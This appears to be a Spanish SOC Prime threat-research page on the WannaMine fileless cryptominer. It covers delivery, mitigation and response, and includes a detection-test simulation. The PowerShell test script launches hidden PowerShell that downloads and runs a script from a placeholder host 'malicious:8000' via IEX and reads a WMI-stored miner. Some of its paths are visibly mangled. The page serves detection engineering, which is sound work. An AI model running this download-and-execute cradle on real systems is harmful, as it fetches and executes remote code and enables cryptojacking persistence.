SOC Prime Bias: Crítico

14 Jan 2026 15:14 UTC

Análisis del Cryptominer WannaMine: Ejecución Sin Archivos y Persistencia

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Análisis del Cryptominer WannaMine: Ejecución Sin Archivos y Persistencia
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

WannaMine es un gusano de criptominería sin archivos que se basa en herramientas ya incluidas en el sistema, principalmente PowerShell y Windows Management Instrumentation (WMI), para permanecer residente en la memoria y minar Monero.

Investigación

WannaMine se entrega ya sea a través de correos electrónicos de phishing que contienen archivos por lotes maliciosos o explotando la vulnerabilidad SMB EternalBlue. Para la persistencia, registra suscripciones a eventos WMI y almacena PowerShell codificado en clases WMI personalizadas.

Mitigación de WannaMine

Prevenga la explotación de EternalBlue parcheando SMB (MS17-010). Restringa la ejecución y monitoreo de PowerShell, observe la creación inusual de clases WMI y consumidores de eventos, y aplique el principio de privilegio mínimo para limitar el uso indebido de credenciales.

Respuesta

Alerta sobre comportamiento anormal de PowerShell/WMI, aísle los hosts afectados, elimine los consumidores/suscripciones de eventos WMI maliciosos, rote las credenciales potencialmente expuestas y realice análisis de memoria para confirmar el minero en memoria.

Flujo de Ataque

Ejecución de Simulación

Prerequisito: La Verificación Preliminar de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el relato DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:
    Un atacante obtiene ejecución de código remoto en un punto final de Windows. Para evitar la interacción del usuario, lanza PowerShell en una ventana oculta (-W Hidden) sin perfil (-NoP) y no interactiva (-NonI). El comando utiliza IEX para descargar una carga útil de PowerShell desde un servidor HTTP malicioso (http://malicious:8000/in6.ps1). El script descargado registra una clase WMI nombrada Office_Updater bajo rootdefault que almacena una propiedad mon que contiene un minero de Monero codificado en Base64. Luego, el atacante lee la propiedad a través de [WmiClass] y la invoca, lanzando efectivamente el criptominero sin crear un nuevo proceso. Esta secuencia coincide con las tres subcadenas de línea de comando de la regla de detección.

  • Script de Prueba de Regresión:

    #-------------------------------------------------
    # Simular ejecución de criptominero sin archivos WannaMine
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. Ejecución de PowerShell oculta, no interactiva
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # Invocar el comando (esto es lo que el atacante ejecutaría)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # Nota: Se asume que el script remoto (in6.ps1) crea la clase WMI
    # con una propiedad "mon" que contiene el código de minería.
  • Comandos de Limpieza:

    # Eliminar la clase WMI maliciosa
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # Detener cualquier proceso de minería de PowerShell restante (si alguno fue lanzado)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # Opcional: Limpiar archivos de transcripción/log de PowerShell creados durante la prueba
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue